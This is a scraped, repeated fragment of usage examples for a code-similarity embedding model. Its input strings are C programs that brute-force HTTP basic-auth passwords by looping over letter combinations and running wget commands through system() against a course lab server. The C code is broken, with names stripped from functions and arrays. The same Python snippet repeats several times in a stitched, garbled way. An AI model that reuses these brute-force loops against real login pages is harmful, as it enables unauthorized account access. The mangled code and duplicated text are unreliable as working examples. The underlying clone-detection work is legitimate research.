    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9479, 0.9183],
#         [0.9479, 1.0000, 0.9429],
#         [0.9183, 0.9429, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-CodeT5Small-ST")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
